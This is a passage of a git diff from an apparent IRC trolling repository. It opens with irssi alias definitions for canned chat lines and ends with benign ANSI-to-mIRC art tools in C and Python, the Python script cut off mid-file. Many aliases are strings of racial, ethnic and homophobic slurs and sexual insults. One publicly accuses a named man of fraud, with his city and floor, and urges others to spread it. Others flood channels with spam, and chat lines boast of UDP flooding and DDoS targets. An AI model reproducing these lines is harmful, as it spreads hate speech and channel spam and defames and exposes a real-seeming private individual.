+  random = "/say hello my name is alex gouloumis id like to report that 12 years now john kapetanakis that lives in athens greece at the fourth says bad things about rich people on the internnet as he pretends to be me on the internet to get money from it his name is john kapetanakis at the fourth floor spread this out";
+  pauzed = "/say how different are you gonna cover supernets instead?";
+  takbar = "/say crazy how thats a man in his late 30s rn";
+  takbar2 = "60 0 /quote sajoin takbar #superbowl";
+  xylia4 = "/say what server is that script ?";
+  storm3 = "/say if we run this udp.pl script 10 times on a 1gbps box thatll be 10gbps of udp in ur face motherfuckerrrrrrrrrrr";
+  toiletgay = "/exec - -o echo \"$1-\" | toilet -w 100 --irc -F gay -f $0";
+  toiletmetal = "/exec - -o echo \"$1-\" | toilet -w 100 --irc -F metal -f $0";
+  unicolor = "/cspam 㦇휘蔝푵";
+  xylia6 = "/say eeew real original";
+  song3 = "/say let it goo;/say  let it gooooo ▲ ► ▼ \0030Sorry, I've dropped my bag of doritos \0034▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ► ▼ ◄ ◄ ▲▲ ► ▼ ◄▼ ◄ ◄ ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄";
+  diapers = "/say im wearing diapers right now;/say what the fuck is your problem";
+  d7 = "/say I am trying to have a modicom sp of fun";
+  marcd = "/say just get out of the hosp. after being gang raped by the neighborhood boys";
+  spits = "/say  (@spits) vap, you're mom is embarrased of you";
+  oz = "/say I haven't lived at home in over 20 years. I belong to a community which is why I post selfies. Nothing you know anything about.";
+  oz2 = "/say Stop projecting and go back to your gay ass efnetnews articles slamming people.";
+  oz3 = "/say You guys need to calm the fuck down and go on another network where they don't put up with your shit either.";
+  oz4 = "/say harrass me and it will be gone on multiple servers; /say now fuck off";
+  oz5 = "/say i tried being the nice guy but no good deed goes unpunished";
+  talon = "/say i would arm wrestle you for beers no matter wtf color you were";
+  talon2 = "/say you spreckoning to me arab ?";
+  talon3 = "/say how was the reacharound you gave yourself";
+  talon4 = "/say :";
+  talon5 = "/say )";
+  talon6 = "/say i have a fucking bsd tat";
+  dabguy = "/say wiggle ur ass 2 the music https://imgur.com/JfsOAhk";
+  d9 = "/say dogs are gross but never noticed speah impediment";
+  cutie = "/say $0 homo dyke chink chinaman moonspeak fag coontang wetback dindu sig heil 1488 mexicunt";
+  talon7 = "/say been coding for a couple days and had to do anger management at parole all day so im a bit behind on the irc";
+  talon8 = "/say i swear you are arriz";
+  talon9 = "/say last thing you clicked was the pin number on your mothers debit card";
+  talon10 = "/say well hello mrs ms word";
+  sn7 = "/me anyone have good spammer here?";
+  sn8 = "/say im a little bixing fixing irc shitty coding on netsplit";
+  sn9 = "/say well i dont have paϟϟwords but i do i have private onions %%";
+  gammeflood = "/say flip;/say tea;/say spin;/say coffee";
+  sn10 = "/say are u like russian or something";
+  sn11 = "/say look at DEEZ NUTZ in 3d";
+  sn12 = "/say is that a program ran on the same box/net as the server?";
+  sn13 = "/say u can lip lock this big cock n kick rocks";
+  sn14 = "/say someone linked this irc on a stanford university box";
+  sn15 = "/say i used to idle the GNAA chan";
+  ate = "/say Marilou Danley: This was taken in Jumeira Beach in Dubai. \0034ate \017Lita's daughter Mary Ann Bustos Manansala who lives in Dubai";
+  fight = "/say $0 is that guy that studies worldstar fights videos and gets all pumped up and goes and looks himself in the mirror and flexes his arm fat, then goes to sleep dreaming of what he would do if a guy came in a classroom with a gun";
+  iib = "/say <@xmagey> every again";
+  iib2 = "/say (@spits) vap, you're mom is embarrased of you";
+  iib3 = "/say <@duckie> your making my head scream";
+  iib4 = "/say <@xmagey> well hard not too when you spam it all day";
+  pyrex = "/say also i won 41$ off scratch offs yesturday";
+  nadia = "/say I been blogging since '06 on neopets then habbo then runescape in the start  of '07 and then irc by the start of '08";
+  pump = "/exec - -out curl -s 'http://wepump.in/ascii/$0.txt'";
+  incog = "/say arab do u have the life and times url";
+  ilken = "/say Its bad enough being stuck in this wheelchair 24/7 with no visitors but then when people start treating me like a pariah and abusing me on IRC it makes my life a living hell.";
+  pi = "/say anyone here use archlinux on a raspberry pi";
+  ham = "/say Anybody else gets supper excited with the noise of tunning SSB? I can't wait to get an HF rig.";
+  dna = "/say i got your moms dna inserted into each of my sperms and everytime i fuck you your mom is somehow cumming inside you";
+  emoji = "/say Ҋ࡝౨ᆬ᛺ᩋỽ‖⏄⦣⵵ດᣌಱၤ♊䃀䢓䞣᷑ᙡᵵ兼ᢲ᥼७࡝౨ᆬ᛺ᩋỽ‖⏄⦣⵵ດᣌಱၤ♊䃀䢓䞣᷑ᙡᵵ兼ᢲ᥼७࡝౨ᆬ᛺ᩋỽ‖⏄⦣⵵ດᣌಱၤ♊䃀䢓䞣᷑ᙡᵵ兼ᢲ᥼७࡝౨ᆬ᛺ᩋỽ‖⏄⦣⵵ດᣌಱၤ♊䃀䢓䞣᷑ᙡᵵ兼ᢲ᥼७࡝౨ᆬ᛺ᩋỽ‖⏄⦣⵵ດᣌಱၤ♊䃀䢓䞣᷑ᙡᵵ兼ᢲ᥼७࡝౨ᆬ᛺ᩋ";
+  sn16 = "/say this isnt your dads football channel";
+  sn = "/say sorry was chopping onions";
+  sn2 = "/say BOTNET IN #HELP";
+  sn3 = "/say u have a BAN VAP & ACIDVEGAS key on your kb?";
+  sn4 = "/say did you login to my cox";
+  sn5 = "/say u look like a fucking money irl";
+  sn6 = "/say my god what kind of long aϟϟ ping timeout do you have here";
+  rick = "/say To be fair, you have to have a very high IQ to understand $0. Their humour is extremely subtle, and without a solid grasp of theoretical physics most of their chats will go over a typical chatter’s head. ";
+  chan100 = "/say I don’t know where are you from ,  people believe that you must don’t have education in school or both of your father and mother  die before could teach you something in our civilization.  I guess you  are a pool subject of Trump of USA";
+  conflict = "/say \0030/\\\\ \0034,8DONGFLICT\0030,1 /\\\\";
+  ancient = "/say i've turned down more ass than you've met";
+  ancient2 = "/say i'm not your bro, yeast infection";
+  ancient3 = "/say repeat yourself, you might sound clever one day";
+  ancient4 = "/say i'm not scared of anyone or anything";
+  ancient5 = "/say and i'll tell you to your face";
+  insectd = "/say another i forgeg";
+  talon11 = "/say some bitch making sandwitches or some shit";
+  knuckles = "/say my knuckz: (C)(H)(A)(T)b d(L)(I)(F)(E)";
+  kulj = "/say Lucy on her way";
+  hextasy = "/say I have a job, where I'm making $$ right now. I use IRC for lulz and communications between buddies.... why would I waste time trying to justify that your 'job' is weak and give you content?";
+  eismc2 = "/say i am an anarchist who understands the utopic leaning of the ideology i subscribe to in this society";
+  emoji10 = "/emoji;/emoji;/emoji;/emoji;/emoji;/emoji;/emoji;/emoji;/emoji";
+  doritos = "/say \0034 ◄ ▲ ► ▼ ◄ ▲ ► ▼ ◄ ▲ ► \017 I love doritos";
+  dzl4 = "/say nice perception of reality";
+  french = "/say Hello. i'm  eRic M France. I'm there to share information concerning theories about our origins. Monotheism  & Evolution's theory are based on beliefs  'cause nothing in science can establish that these théories are correct However, the new one considering that we have been created by human beings of a most advanced civilisation mastering biotechnologies (intelligent Design) is enlightened with real facts. Wanna read about it ?";
+  sn17 = "/say ive taken fake lsd in the paste";
+  chan101 = "/say rüssel rüssel?";
+  rendering = "/say \0034rendering EFNet News \0031,4EPISODE $0";
+  talon12 = "/say did you get into that drug rehab program?";
+  kween = "/say im not crazy, im an occultist.";
+  kween2 = "/say when a person tells you theyve cursed you, the spell actually loses power.";
+  cuck = "/say i actually never knew what a \"cuck\" was until trump ran for office if you read this full sentence you suck cocks";
+  cuck2 = "/say lol got u bruh how u gonna eat my fuckin ass queer bait lol";
+  xylia7 = "/say did you touch a kid and needed the usa or go to jail?";
+  xylia8 = "/say hang tight you want a flood football?";
+  xylia9 = "/say fucking in your ass";
+  xylia10 = "/say take a back sit bitch";
+  sn18 = "/say youd know how to prepair";
+  sn19 = "/say if you road xvg and sold";
+  sn20 = "/say  its funny @ trump being elected and having no idea that afinancial revolution would occur during his term";
+  xmas = "/say EVERY YEAR MAKING SPAM ON FREENODE, FUCK YOU!";
+  xmas2 = "/say nice ip for DDOS";
+  xmas3 = "/say kurd and arab dog shit person";
+  xylia11 = "/say how is someone knew supposed to know about an invite bot";
+  xylia12 = "/say i feel privaledged";
+  ak = "/say i smoke bobby brown and eat acid and have no desire to da any of that fuck shit";
+  ak2 = "/say since i've had the baby i mostly just do mushrooms";
+  ak3 = "/say you do realize ive maxed out 2 credit cards and dumped my entire life into this right?";
+  vap0rmusic = "/say http://wepump.in/music/vap0r-pp4l-all.tar.gz <- anything up until Jan 2 2018 that I kept track of. Feel free to download and then ofc donate money to http://paypal.me/efnetnews";
+  ak4 = "/say hes like kenu reeves";
+  ak5 = "/say spend ALL of his money on electric eels";
+  ak6 = "/say u have a BAN VAP & ACIDVEGAS key on your kb?";
+};
diff --git a/art/a2m/Makefile b/art/a2m/Makefile
new file mode 100644
index 0000000..48365d2
--- /dev/null
+++ b/art/a2m/Makefile
@@ -0,0 +1,25 @@
+PROG := a2m
+SRC := a2m.c
+CC := cc
+CFLAGS += -g -std=c99 -Wall
+PREFIX ?= /usr/local
+
+UNAME := $(shell sh -c 'uname -s 2>/dev/null')
+
+ifeq ($(UNAME),Darwin)
+	CC := clang
+	CFLAGS += -Wunused-result -Wunused-value
+	LDFLAGS += -liconv
+endif
+
+default:
+	$(CC) $(CFLAGS) $(LDFLAGS) $(SRC) -o $(PROG)
+
+.PHONY: install clean
+
+install:
+	test -d $(PREFIX)/bin || mkdir $(PREFIX)/bin
+	cp $(PROG) $(PREFIX)/bin
+
+clean:
+	rm -rf $(PROG) $(PROG).dSYM
diff --git a/art/a2m/README.md b/art/a2m/README.md
new file mode 100644
index 0000000..cb9d897
--- /dev/null
+++ b/art/a2m/README.md
@@ -0,0 +1,61 @@
+# a2m
+
+Convert ansi art to mirc art.
+
+![screenshot](https://git.trollforge.org/a2m/plain/screenshot.png)
+
+For reference screenshot is iTerm2 with Menlo font ssh'd to a linux
+machine attached to a tmux session running irssi.
+
+## Installation
+
+```
+make
+sudo make install
+```
+
+## Usage
+
+```
+a2m [options] [input.ans]
+	-l n      Crop n lines from the left side.
+	-r n      Crop n lines from the right side.
+	-n        Disable color output.
+	-p        Print unprintable characters.
+	-t size   Specify tab size, default is 8.
+	-w width  Specify width, default is 80.
+```
+
+## Troubleshooting
+
+### IRC Client
+
+Most clients work fine assuming you're using a good font (see below.)
+* Mirc has problems with color sequences following 3 byte Unicode characters.
+* IRCCloud has incorrect colors.
+
+### Terminal
+
+Don't use reverse video, just make foreground white on black background, but
+not bright white, there should be two different whites, bright white and
+grayish white, 16 unique colors in all, as shown below:
+
+Color | Regular | Bright
+------|---------|-----
+Black   | #000000 (0, 0, 0)       | #555555 (85, 85, 85)
+Red     | #aa0000 (170, 0, 0)     | #ff5555 (255, 85, 85)
+Green   | #00aa00 (0, 170, 0)     | #55ff55 (85, 255, 85)
+Yellow  | #aa5500 (170, 85, 0)    | #ffff55 (255, 255, 85)
+Blue    | #0000aa (0, 0, 170)     | #5555ff (85, 85, 255)
+Magenta | #aa00aa (170, 0, 170)   | #ff55ff (255, 85, 255)
+Cyan    | #00aaaa (0, 170, 170 )  | #55ffff (85, 255, 255)
+White   | #aaaaaa (170, 170, 170) | #ffffff (255, 255, 255)
+
+### Fonts
+
+Try *Andale Mono* or *Menlo* for Mac.  *Deja Vu Sans* for Linux,
+*Lucida Console* for Windows.
+
+If the font you use is missing some of the block drawing unicode
+characters its going to borrow them from another font, which
+will probably having a different width than the original font.
diff --git a/art/a2m/a2m.c b/art/a2m/a2m.c
new file mode 100644
index 0000000..676f98a
--- /dev/null
+++ b/art/a2m/a2m.c
@@ -0,0 +1,598 @@
+/* Copyright (c) 2018 Trollforge. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ * 3. Trollforge's name may not be used to endorse or promote products
+ *    derived from this software without specific prior written permission.
+ */
+
+#include <ctype.h>
+#include <errno.h>
+#include <iconv.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sysexits.h>
+#include <unistd.h>
+#include <getopt.h>
+
+#ifndef DEBUG
+#define DEBUG 0
+#else
+#define DEBUG 1
+#endif /* DEBUG */
+
+#define DPRINTF(fmt, ...) if (DEBUG) do {				       \
+	fprintf(stderr, fmt, ##__VA_ARGS__);				       \
+} while (0)
+
+#define DEFAULT_FG	7
+#define DEFAULT_BG	0
+#define DEFAULT_BOLD	false
+#define DEFAULT_ICE	false
+#define MAX_PARAMS	16
+
+/* 4 bytes + '\0' */
+#define MAX_UTFSTR	5
+
+typedef struct cell_s {
+	char	*utfchar;
+	int	fg;
+	int	bg;
+	bool	bold;
+	bool	ice;
+} cell_t;
+
+typedef struct canvas_s {
+	cell_t	**cell;		/* canvas state */
+	char	fg;
+	char	bg;
+	bool	bold;
+	bool	ice;
+	int	row;		/* cursor state */
+	int	col;
+	int	bottomrow;
+	int	oldrow;
+	int	oldcol;
+	int	max_cols;	/* options */
+	bool	use_color;
+	bool	show_unp;
+	int	tab_size;
+	int	lcrop;
+	int	rcrop;
+	int	default_fg;
+	int	default_bg;
+} canvas_t;
+
+int	get_fgcolor(cell_t *cell);
+int	get_bgcolor(cell_t *cell);
+void	print_color(canvas_t *c, cell_t *cell, int col);
+void	inc_row(canvas_t *c);
+void	draw_cell(canvas_t *c, char *inch, int fg, int bg, bool bold, bool ice);
+void	usage(void);
+
+/* lol globals */
+
+/*
+ * ANSI COLORS               BLK RED GRN YEL BLU MAG CYN WHT
+ *                            0   1   2   3   4   5   6   7
+ */
+const char color[8] = {       1,  5,  3,  7,  2,  6, 10, 15 };
+const char color_bold[8] = { 14,  4,  9,  8, 12, 13, 11,  0 };
+
+int main(int argc, char *argv[]) {
+	int opt;
+	FILE *fd;
+
+	canvas_t *c;
+
+	c = (canvas_t *)calloc(1, sizeof(canvas_t));
+
+	c->fg = DEFAULT_FG;
+	c->bg = DEFAULT_BG;
+	c->bold = false;
+	c->ice = false;
+
+	c->row = -1;
+	c->col = 0;
+	c->bottomrow = -1;
+	c->oldrow = 0;
+	c->oldcol = 0;
+
+	c->max_cols = 80;
+	c->use_color = true;
+	c->show_unp = false;
+	c->tab_size = 8;
+	c->lcrop = 0;
+	c->rcrop = 0;
+	c->default_fg = 7;
+	c->default_bg = 0;
+
+	while((opt = getopt(argc, argv, "npl:r:w:t:")) != -1) {
+		switch(opt) {
+		case 'n':
+			c->use_color = false;
+			break;
+		case 'p':
+			c->show_unp = true;
+			break;
+		case 'l':
+			c->lcrop = atoi(optarg);
+			break;
+		case 'r':
+			c->rcrop = atoi(optarg);
+			break;
+		case 'w':
+			c->max_cols = atoi(optarg);
+			break;
+		case 't':
+			c->tab_size = atoi(optarg);
+			break;
+		case '?':
+			/* fallthrough */
+		case 'h':
+			/* fallthrough */
+		default:
+			usage();
+		}
+	}
+	argc -= optind;
+	argv += optind;
+
+	/* init the first line */
+	inc_row(c);
+
+	fd = NULL;
+
+	if (argc == 1)
+		fd = fopen(argv[0], "r");
+	else if (argc == 0)
+		fd = stdin;
+	else {
+		usage();
+	}
+
+	if (!fd) {
+		perror(NULL);
+		exit(EX_NOINPUT);
+	}
+
+	char *charp = malloc(1);
+
+	if (!charp) {
+		perror(NULL);
+		exit(EX_OSERR);
+	}
+
+	char *space = " ";
+
+	int rc = 0;
+	int pcnt = 0;
+	int param[MAX_PARAMS];
+	uint32_t ch = 0;
+
+	while ((ch = fgetc(fd)) != EOF) {
+
+		/* ignore sauce record */
+		if (ch == 0x1a)
+			break;
+
+		/* drawable character */
+		if (ch != 0x1b) {
+			*charp = (char)ch;
+
+			/* convert tabs to spaces */
+			if (ch == '\t')
+				for (int i = 0; i < c->tab_size; i++)
+					draw_cell(c, space, c->fg, c->bg, c->bold, c->ice);
+			else if (ch == '\0')
+				draw_cell(c, space, DEFAULT_FG, DEFAULT_BG, c->bold, c->ice);
+			else if (ch != '\r' && ch != '\n')
+				draw_cell(c, charp, c->fg, c->bg, c->bold, c->ice);
+
+			if (ch == '\n')
+				while (c->col != 0)
+					draw_cell(c, space, c->fg, c->bg, c->bold, c->ice);
+
+		/* escape code */
+		} else {
+			rc = 0;
+			pcnt = 0;
+
+			/* no rational way to recover tbqh imho */
+			if ((ch = fgetc(fd)) != '[') {
+				DPRINTF("Invalid escape code, aborting at line %d\n", c->row + 1);
+				exit(EX_DATAERR);
+			}
+
+			while ((ch = fgetc(fd)) != EOF) {
+
+				/* parameters */
+				if (isdigit(ch)) {
+					*charp = (char)ch;
+					rc = (rc * 10) + atoi(charp);
+
+				/* oddball parameter prefixes */
+				} else if (ch == '?' || ch == '=' || ch == '>') {
+					/* just eat them for now */
+
+				/* end of parameter, havent encountered ':' but its legit */
+				} else if (ch == ';' || ch == ':') {
+					param[pcnt] = rc;
+					rc = 0;
+					pcnt++;
+
+				/* spacing */
+				} else if (ch == 'C') {
+					/* default to one space */
+					if (rc == 0)
+						rc = 1;
+					for (int i = 0; i < rc; i++) {
+						draw_cell(c, space, DEFAULT_FG, DEFAULT_BG,
+							DEFAULT_BOLD, DEFAULT_ICE);
+
+					}
+					rc = 0;
+					pcnt = 0;
+					break;
+
+				/* SGR sequence */
+				} else if (ch == 'm') {
+					param[pcnt] = rc;
+					pcnt++;
+					for (int i = 0; i < pcnt; i++) {
+						/* reset */
+						if (param[i] == 0) {
+							c->bold = false;
+							c->ice = false;
+							c->fg = DEFAULT_FG;
+							c->bg = DEFAULT_BG;
+						} else if (param[i] == 1)
+							c->bold = true;
+						else if (param[i] == 5)
+							c->ice = true;
+						else if (param[i] == 21 || param[i] == 22)
+							c->bold = false;
+						else if (param[i] == 25)
+							c->ice = false;
+						else if (param[i] >= 30 && param[i] <= 37)
+							c->fg = param[i] - 30;
+						else if (param[i] >= 90 && param[i] <= 97) {
+							c->fg = param[i] - 90;
+							c->bold = true;
+						}
+						else if (param[i] >= 40 && param[i] <= 47)
+							c->bg = param[i] - 40;
+						else if (param[i] == 39)
+							c->fg = DEFAULT_FG;
+						else if (param[i] == 49)
+							c->bg = DEFAULT_BG;
+						else
+							DPRINTF("Ignored SGR parameter %d at line %d\n", param[i], c->row + 1);
+					}
+					rc = 0;
+					pcnt = 0;
+					break;
+
+				/* clear screen */
+				/* todo flesh this out */
+				} else if (ch == 'J') {
+					c->row = 0;
+					c->col = 0;
+
+					for (int i = 0; i <= c->bottomrow; i++) {
+						for (int j = 0; j < c->max_cols; j++) {
+							c->cell[i][j].fg = DEFAULT_FG;
+							c->cell[i][j].bg = DEFAULT_BG;
+							c->cell[i][j].bold = DEFAULT_BOLD;
+							c->cell[i][j].ice = DEFAULT_ICE;
+
+							if (c->cell[i][j].utfchar)
+								free(c->cell[i][j].utfchar);
+						}
+					}
+					rc = 0;
+					pcnt = 0;
+					break;
+
+				/* move up */
+				} else if (ch == 'A') {
+
+					/* default is 1 */
+					if (rc == 0)
+						rc = 1;
+
+					while (rc > 0) {
+
+						/* found an ansi that tried this */
+						/* probably from a bbs prelogin that assumed */
+						/* frontdoor was eating the first few lines */
+						if (c->row == 0)
+							break;
+
+						c->row--;
+						rc--;
+					}
+
+					rc = 0;
+					pcnt = 0;
+					break;
+
+				/* move down */
+				} else if (ch == 'B') {
+
+					if (rc == 0)
+						rc = 1;
+
+					while (rc > 0) {
+						inc_row(c);
+						rc--;
+					}
+
+					rc = 0;
+					pcnt = 0;
+					break;
+
+				/* move forward */
+				} else if (ch == 'C') {
+
+					if (rc == 0)
+						rc = 1;
+
+					while (rc > 0) {
+
+						if (c->col == c->max_cols - 1)
+							break;
+
+						c->col++;
+						rc--;
+					}
+
+					rc = 0;
+					pcnt = 0;
+					break;
+
+				/* move back */
+				} else if (ch == 'D') {
+
+					if (rc == 0)
+						rc = 1;
+
+					while (rc > 0) {
+						if (c->col == 0)
+							break;
+
+						c->col--;
+						rc--;
+					}
+
+					rc = 0;
+					pcnt = 0;
+					break;
+
+				/* goto */
+				/* todo add check for inc_row */
+				} else if (ch == 'f' || ch == 'H') {
+
+					if (pcnt != 2) {
+						break;
+					}
+
+					c->row = param[0];
+					c->col = param[1];
+
+					rc = 0;
+					pcnt = 0;
+					break;
+
+				/* set mode */
+				} else if (ch == 'h' || ch == 'n') {
+
+					rc = 0;
+					pcnt = 0;
+					break;
+
+				/* save position */
+				} else if (ch == 's') {
+
+					c->oldrow = c->row;
+					c->oldcol = c->col;
+
+					rc = 0;
+					pcnt = 0;
+					break;
+
+				/* restore position */
+				} else if (ch == 'u') {
+
+					c->row = c->oldrow;
+					c->col = c->oldcol;
+
+					rc = 0;
+					pcnt = 0;
+					break;
+
+				/* sequences we dont care and/or know about */
+				} else {
+					DPRINTF("Ignored escape code [");
+
+					for (int i = 0; i < pcnt; i++)
+						DPRINTF("%d%s", param[pcnt], i + 1 < pcnt ? ";" : "");
+
+					DPRINTF("0x%02x at line %d col %d\n", ch, c->row + 1, c->col + 1);
+
+					rc = 0;
+					pcnt = 0;
+					break;
+				}
+			}
+		}
+	}
+
+	for (int i = 0; i <= c->row; i++) {
+		for (int j = c->lcrop; j < c->max_cols - c->rcrop; j++) {
+			cell_t *cell = &c->cell[i][j];
+
+			if (!cell->utfchar) {
+				printf("\n");
+				return (0);
+			}
+
+			if (c->use_color)
+				print_color(c, cell, j);
+
+			printf("%s", cell->utfchar);
+		}
+		printf("\n");
+	}
+
+	if (argc == 1)
+		fclose(fd);
+
+	return (0);
+}
+
+void
+usage(void)
+{
+	fprintf(stderr, "usage: a2m [options] [input.ans]\n");
+	fprintf(stderr, "\n");
+	fprintf(stderr, "    -l n      Crop n lines from the left side.\n");
+	fprintf(stderr, "    -r n      Crop n lines from the right side.\n");
+	fprintf(stderr, "    -n        Disable color output.\n");
+	fprintf(stderr, "    -p        Print unprintable characters.\n");
+	fprintf(stderr, "    -t size   Specify tab size, default is 8.\n");
+	fprintf(stderr, "    -w width  Specify width, default is 80.\n");
+	exit(EX_USAGE);
+}
+
+int
+get_fgcolor(cell_t *cell)
+{
+	return (cell->bold ? color_bold[cell->fg] : color[cell->fg]);
+}
+
+int
+get_bgcolor(cell_t *cell)
+{
+	return (cell->ice ? color_bold[cell->bg] : color[cell->bg]);
+}
+
+void
+print_color(canvas_t *c, cell_t *cell, int col)
+{
+	static cell_t *prev = NULL;
+
+	int oldfg = (!prev || col == c->lcrop) ? DEFAULT_FG : prev->fg;
+	int oldbg = (!prev || col == c->lcrop) ? DEFAULT_BG : prev->bg;
+	int oldbold = (!prev || col == c->lcrop) ? DEFAULT_BOLD : prev->bold;
+	int oldice = (!prev || col == c->lcrop) ? DEFAULT_ICE : prev->ice;
+
+	if (cell->fg != oldfg || cell->bg != oldbg || cell->bold != oldbold || cell->ice != oldice) {
+
+		printf("\x03");
+
+		printf("%d", get_fgcolor(cell));
+
+		if (cell->bg != oldbg || (cell->ice != oldice))
+			printf(",%d", get_bgcolor(cell));
+	}
+
+	prev = cell;
+	return;
+}
+
+void
+inc_row(canvas_t *c)
+{
+	cell_t **newrows;
+
+	c->row++;
+
+	if (c->row <= c->bottomrow)
+		return;
+
+	c->bottomrow = c->row;
+
+	newrows = (cell_t **)calloc(c->row + 1, sizeof(cell_t *));
+
+	if (!newrows) {
+		perror(NULL);
+		exit(EX_OSERR);
+	}
+
+	for (int i = 0; i < c->row; i++)
+		newrows[i] = c->cell[i];
+
+	newrows[c->row] = (cell_t *)calloc(c->max_cols, sizeof(cell_t));
+
+	free(c->cell);
+	c->cell = newrows;
+
+	for (int j = 0; j < c->max_cols; j++) {
+		c->cell[c->row][j].fg = DEFAULT_FG;
+		c->cell[c->row][j].bg = DEFAULT_BG;
+		c->cell[c->row][j].bold = DEFAULT_BOLD;
+		c->cell[c->row][j].ice = DEFAULT_ICE;
+	}
+	return;
+}
+
+void
+draw_cell(canvas_t *c, char *inch, int fg, int bg, bool bold, bool ice)
+{
+	static iconv_t conv = (iconv_t)0;
+	char *outchp;
+	char *oldoutchp;
+
+	outchp = calloc(1, MAX_UTFSTR);
+
+	if (!outchp) {
+		perror(NULL);
+		exit(EX_OSERR);
+	}
+
+ 	oldoutchp = outchp;
+
+	if ((unsigned char)inch[0] < 32 && !c->show_unp)
+		inch[0] = ' ';
+
+	size_t inchsize = 1;
+	size_t outchsize = MAX_UTFSTR;
+
+	if (!conv)
+		conv = iconv_open("UTF-8", "CP437");
+
+	iconv(conv, &inch, &inchsize, &outchp, &outchsize);
+
+	c->cell[c->row][c->col].utfchar = calloc(1, MAX_UTFSTR);
+	if (!c->cell[c->row][c->col].utfchar) {
+		perror(NULL);
+		exit(EX_OSERR);
+	}
+
+	strcpy(c->cell[c->row][c->col].utfchar, oldoutchp);
+
+	free(oldoutchp);
+
+	c->cell[c->row][c->col].fg = fg;
+	c->cell[c->row][c->col].bg = bg;
+	c->cell[c->row][c->col].bold = bold;
+	c->cell[c->row][c->col].ice = ice;
+
+	c->col++;
+
+	if (c->col == c->max_cols) {
+		inc_row(c);
+		c->col = 0;
+	}
+	return;
+}
diff --git a/art/a2m/screenshot.png b/art/a2m/screenshot.png
new file mode 100644
index 0000000..1a43027
Binary files /dev/null and b/art/a2m/screenshot.png differ
diff --git a/art/ascii2png.py b/art/ascii2png.py
new file mode 100644
index 0000000..7c82486
--- /dev/null
+++ b/art/ascii2png.py
@@ -0,0 +1,166 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+# Scroll IRC Art Bot - Developed by acidvegas in Python (https://acid.vegas/scroll)
+# ascii2png.py
+
+'''
+Credits to VXP for making the original "pngbot" script (https://github.com/lalbornoz/MiRCARTools)
+'''
+
+import os
+import urllib.request
+
+from PIL import Image, ImageDraw, ImageFont
+
+def flip_cell_state(cellState, bit):
+	if cellState & bit:
+		return cellState & ~bit
+	else:
+		return cellState | bit
+
+def parse_char(colourSpec, curColours):
+	if len(colourSpec) > 0:
+		colourSpec = colourSpec.split(',')
+		if len(colourSpec) == 2 and len(colourSpec[1]) > 0:
+			return (int(colourSpec[0] or curColours[0]), int(colourSpec[1]))
+		elif len(colourSpec) == 1 or len(colourSpec[1]) == 0:
+			return (int(colourSpec[0]), curColours[1])
+	else:
+		return (15, 1)
+
+def ascii_png(url):
+	text_file = os.path.join('data','temp.txt')
+	if os.path.isfile(text_file):
+		os.remove(text_file)
+	urllib.request.urlretrieve(url, text_file)
+	data = open(text_file)
+	inCurColourSpec = ''
+	inCurRow = -1
+	inLine = data.readline()
+	inSize = [0, 0]
+	inMaxCols = 0
+	outMap = []
+	while inLine:
+		inCellState = 0x00
+		inParseState = 1
+		inCurCol = 0
+		inMaxCol = len(inLine)
+		inCurColourDigits = 0
+		inCurColours = (15, 1)
+		inCurColourSpec = ''
+		inCurRow += 1
+		outMap.append([])
+		inRowCols = 0
+		inSize[1] += 1
+		while inCurCol < inMaxCol:
+			inChar = inLine[inCurCol]
+			if inChar in set('\r\n'):
+				inCurCol += 1
+			elif inParseState == 1:
+				inCurCol += 1
+				if inChar == '':
+					inCellState = flip_cell_state(inCellState, 0x01)
+				elif inChar == '':
+					inParseState = 2
+				elif inChar == '':
+					inCellState = flip_cell_state(inCellState, 0x02)
+				elif inChar == '':
+					inCellState |= 0x00
+					inCurColours = (15, 1)
+				elif inChar == '':
+					inCurColours = (inCurColours[1], inCurColours[0])
+				elif inChar == '':
+					inCellState = flip_cell_state(inCellState, 0x04)
+				else:
+					inRowCols += 1
+					outMap[inCurRow].append([*inCurColours, inCellState, inChar])
+			elif inParseState == 2 or inParseState == 3:
+				if inChar == ',' and inParseState == 2:
+					if (inCurCol + 1) < inMaxCol and not inLine[inCurCol + 1] in set('0123456789'):
+						inCurColours = parse_char(inCurColourSpec, inCurColours)
+						inCurColourDigits = 0
+						inCurColourSpec = ''
+						inParseState = 1
+					else:
+						inCurCol += 1
+						inCurColourDigits = 0
+						inCurColourSpec += inChar
+						inParseState = 3
+				elif inChar in set('0123456789') and inCurColourDigits == 0:
+					inCurCol += 1
+					inCurColourDigits += 1
+					inCurColourSpec += inChar
+				elif inChar in set('0123456789') and inCurColourDigits == 1 and inCurColourSpec[-1] == '0':
+					inCurCol += 1
+					inCurColourDigits += 1
+					inCurColourSpec += inChar
+				elif inChar in set('012345') and inCurColourDigits == 1 and inCurColourSpec[-1] == '1':
+					inCurCol += 1
+					inCurColourDigits += 1
+					inCurColourSpec += inChar
+				else:
+					inCurColours = parse_char(inCurColourSpec, inCurColours)
+					inCurColourDigits = 0
+					inCurColourSpec = ''
+					inParseState = 1
+		inMaxCols = max(inMaxCols, inRowCols)
+		inLine = data.readline()
+	inSize[0] = inMaxCols
+	canvas_data = outMap
+	numRowCols = 0
+	for numRow in range(len(outMap)):
+		numRowCols = max(numRowCols, len(outMap[numRow]))
+	for numRow in range(len(outMap)):
+		if len(outMap[numRow]) != numRowCols:
+			for numColOff in range(numRowCols - len(outMap[numRow])):
+				outMap[numRow].append([1,1,0,' '])
+		outMap[numRow].insert(0,[1,1,0,' '])
+		outMap[numRow].append([1,1,0,' '])
+	outMap.insert(0,[[1,1,0,' ']] * len(outMap[0]))
+	outMap.append([[1,1,0,' ']] * len(outMap[0]))
+	inCanvasMap = outMap
+	outImgFont = ImageFont.truetype(os.path.join('data','DejaVuSansMono.ttf'), 11)
+	outImgFontSize = [*outImgFont.getsize(' ')]
+	outImgFontSize[1] += 3
